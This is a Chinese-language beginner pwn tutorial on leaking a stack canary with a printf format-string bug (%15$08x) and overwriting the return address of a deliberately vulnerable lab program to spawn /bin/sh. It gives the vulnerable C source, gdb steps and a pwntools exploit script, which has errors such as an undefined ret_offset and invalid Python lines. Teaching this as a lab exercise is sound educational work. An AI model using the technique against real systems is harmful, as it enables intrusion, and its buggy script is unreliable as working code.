pwn入门笔记(4)——如何利用printf漏洞突破canary保护

实例分析

编译printf2.c ,要加canary保护
输入
在这里插入图片描述

写exp,利用printf漏洞来突破canary
并且覆盖ret

#include
void exploit()
{
     
    system("/bin/sh");
}
void func()
{
     
    char str[0x20];
    read(0, str, 0x50);
    printf(str);
    read(0, str, 0x50);
}
int main()
{
     
    func();
    return 0;
}

接下来进gdb
查看func函数disass func

在这里插入图片描述

我们直接下断到printf函数上,

b *0x08048565

之后运行
(随便输)
pwn入门笔记(4)——如何利用printf漏洞突破canary保护_第1张图片
然后我们可以看一下堆栈stack 0x28
因为之前我们的canary在0xc上面
之后用x -$ebp -0xc来查看地址和内容
内容是0x68acb300
在这里
pwn入门笔记(4)——如何利用printf漏洞突破canary保护_第2张图片
pwn入门笔记(4)——如何利用printf漏洞突破canary保护_第3张图片
距离栈顶15行
之后我们试图让它输出15行的内容
pwn入门笔记(4)——如何利用printf漏洞突破canary保护_第4张图片
先让程序跑起来
之后输入

%15$08x

相对于栈顶15位,输出8位,在这里插入图片描述
0x不是
x的意思是输出16位
在这里插入图片描述
然后我们可以看到我们的参数确实是这个
注意:输入之后可能会变化,建议重新运行程序,先改输入,再看堆栈

payload书写

from pwn import *
p = process("/.printf2")
p.sendline("%15$08x")//我们要先发送泄露的代码
canary = p.recv()[:8]
printf canary //输入这个来验证是否发送返回正确

canary = canary.decode("hex")[::-1]//我们之前得到的人看到的数据,但是机器是读不懂的,得输进小段倒叙储存组,后面[::-1]是倒序的意思

canary_offset = 8*4
ret_address = 3*4
exploit_address = p32(0x080484e6)
payload = canary_offset*'a'+canary+ret_offset*'a'+exploit_address

p.sendline(payload)
p.interactive()

pwn入门笔记(4)——如何利用printf漏洞突破canary保护_第5张图片
中间隔了有8行,之后加上canary在这里插入图片描述
[:8]试验输出之后,我们会多一个回车,这个时候我们只要8位就行了
接下来,我们再看返回地址和main函数的距离
在这里插入图片描述
最后加上main函数的地址
我们再进入gdb,因为我们需要exploit函数的具体地址
在这里插入图片描述
至于为什么要sendline两次
pwn入门笔记(4)——如何利用printf漏洞突破canary保护_第6张图片
我们read了两次

你可能感兴趣的:(pwn的系统性学习)